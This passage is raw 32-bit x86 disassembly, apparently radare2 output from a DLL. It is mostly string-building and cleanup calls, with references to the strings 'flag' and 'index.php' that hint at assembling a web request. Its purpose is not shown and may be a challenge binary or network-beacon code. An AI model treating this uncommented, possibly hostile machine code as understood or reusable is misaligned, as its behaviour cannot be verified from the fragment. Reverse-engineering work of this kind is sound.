call fcn.10003030
add esp, 0xc
push str.flag
push eax
lea eax, [esp + 0x34]
push eax
mov byte [esp + 0xcb4], 0x3c
call fcn.100030f0
add esp, 0xc
push 0x1003b984
push eax
lea ecx, [esp + 0x1c]
push ecx
mov byte [esp + 0xcb4], 0x3d
call fcn.10003030
add esp, 0xc
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0xcac], 0x3e
call fcn.100036d0
lea ecx, [esp + 0x14]
call fcn.10001a90
lea ecx, [esp + 0x2c]
call fcn.10001a90
lea ecx, [esp + 0x3c]
call fcn.10001a90
lea ecx, [esp + 0x48]
call fcn.10001a90
lea ecx, [esp + 0x54]
mov byte [esp + 0xca8], bl
call fcn.10001a90
push str._index.php
push str.__index.php
lea edx, [esp + 0x20]
push edx
call fcn.10002b40
push ecx
lea eax, [esp + 0x1c]
mov ecx, esp
mov dword [esp + 0x18], esp
push eax
call fcn.10001460
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0xf4]
push edx
call fcn.10003b00
push eax
lea ecx, [esp + 0x6c]
mov byte [esp + 0xcac], 0x3f
call fcn.100036d0
lea ecx, [esp + 0x14]
mov byte [esp + 0xca8], bl
call fcn.10001a90
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push 0x1002e9a8
call fcn.10001810
push 2
lea eax, [esp + 0x84]
push eax
push ecx
mov byte [esp + 0xcb8], 0x40
lea edx, [esp + 0x78]
mov ecx, esp
mov dword [esp + 0x3c], esp
push edx
call fcn.10001460
mov byte [esp + 0xcb8], bl
call fcn.10001ae0
test edi, edi
jne 0x10009bea
push str.null
lea ecx, [esp + 0x80]
call fcn.100017d0
push 0x1002e9a8
lea eax, [esp + 0x80]
push eax
lea ecx, [esp + 0x34]
push ecx
call fcn.100030f0
add esp, 0xc
lea edx, [esp + 0x80]
push edx
push eax
lea eax, [esp + 0x1c]
push eax
mov byte [esp + 0xcb4], 0x41
call fcn.10003030
add esp, 0xc
push eax
lea ecx, [esp + 0x6c]
mov byte [esp + 0xcac], 0x42
call fcn.100036d0
lea ecx, [esp + 0x14]
call fcn.10001a90
lea ecx, [esp + 0x2c]
mov byte [esp + 0xca8], bl
call fcn.10001a90
lea edx, [esp + 0x60]
push 0x1002e988
push edx
call fcn.100013c0
add esp, 8
test al, al
je 0x10009d88
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x54]
call fcn.100036d0
lea ecx, [esp + 0x34]
push 0x1002e988
push ecx
call fcn.100013c0
add esp, 8
test al, al
je 0x10009e44
push ecx
mov ecx, esp
mov dword [esp + 0x30], esp
push 0x1002e988
call fcn.10001810
push ecx
mov byte [esp + 0xcb0], 0x43
lea edx, [esp + 0x3c]
mov ecx, esp
mov dword [esp + 0x44], esp
push edx
call fcn.10001460
push ecx
mov byte [esp + 0xcb4], 0x44
mov ecx, esp
mov dword [esp + 0x54], esp
push 0x1002e988
call fcn.10001810
push ecx
mov byte [esp + 0xcb8], 0x45
lea eax, [esp + 0x60]
mov ecx, esp
mov dword [esp + 0x64], esp
push eax
call fcn.10001460
lea ecx, [esp + 0x24]
push ecx
mov byte [esp + 0xcbc], bl
call fcn.10007bc0
add esp, 0x14
mov byte [esp + 0xca8], 0x46
jmp 0x10009e2a
test esi, esi
jne 0x10009c4d
push fcn.10001a90
push 2
push 4
lea ecx, [esp + 0x88]
push ecx
mov byte [esp + 0xcb8], 0x1e
call fcn.1001825a
lea ecx, [esp + 0x74]
call fcn.10001a90
lea ecx, [esp + 0x5c]
call fcn.10001a90
lea ecx, [esp + 0x1c]
call fcn.10001a90
lea ecx, [esp + 0x50]
call fcn.10001a90
lea ecx, [esp + 0x60]
call fcn.10001a90
lea ecx, [esp + 0x68]
call fcn.10001a90
lea ecx, [esp + 0x34]
call fcn.10001a90
lea ecx, [esp + 0x24]
call fcn.10001a90
lea ecx, [esp + 0x64]
call fcn.10001a90
jmp 0x100089ed
lea edx, [esp + 0x64]
push edx
lea ecx, [esp + 0x20]
call fcn.100036d0
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x60]
call fcn.100036d0
lea ecx, [esp + 0x68]
push ecx
lea ecx, [esp + 0x78]
call fcn.100036d0
push ecx
lea edx, [esp + 0x78]
mov ecx, esp
mov dword [esp + 0x30], esp
push edx
call fcn.10001460
push ecx
mov byte [esp + 0xcb0], 0x47
lea eax, [esp + 0x64]
mov ecx, esp
mov dword [esp + 0x44], esp
push eax
call fcn.10001460
push ecx
mov byte [esp + 0xcb4], 0x48
lea edx, [esp + 0x28]
mov ecx, esp
mov dword [esp + 0x54], esp
push edx
call fcn.10001460
push ecx
mov byte [esp + 0xcb8], 0x49
lea eax, [esp + 0x30]
mov ecx, esp
mov dword [esp + 0x64], esp
push eax
call fcn.10001460
lea ecx, [esp + 0x24]
push ecx
mov byte [esp + 0xcbc], bl
call fcn.10007bc0
add esp, 0x14
mov byte [esp + 0xca8], 0x4a
push eax
lea ecx, [esp + 0x54]
call fcn.100036d0
lea ecx, [esp + 0x14]
mov byte [esp + 0xca8], bl
call fcn.10001a90
mov esi, dword [esp + 0xe4]
mov edx, dword [esi]
mov eax, dword [edx + 0x28]
mov ecx, esi
call eax
mov edx, dword [esi]
mov eax, dword [edx + 0x2c]
mov ecx, esi
call eax
mov esi, dword [esp + 0x70]
lea eax, [esp + 0x84]
mov ecx, esi
call fcn.100080c0
push ecx
lea edx, [esp + 0x54]
mov ecx, esp
mov dword [esp + 0x74], esp
push edx
call fcn.10001460
mov ecx, esi
call fcn.10007ea0
add esp, 4
push fcn.10001a90
push 2
push 4
lea eax, [esp + 0x88]
push eax
jmp 0x10009d25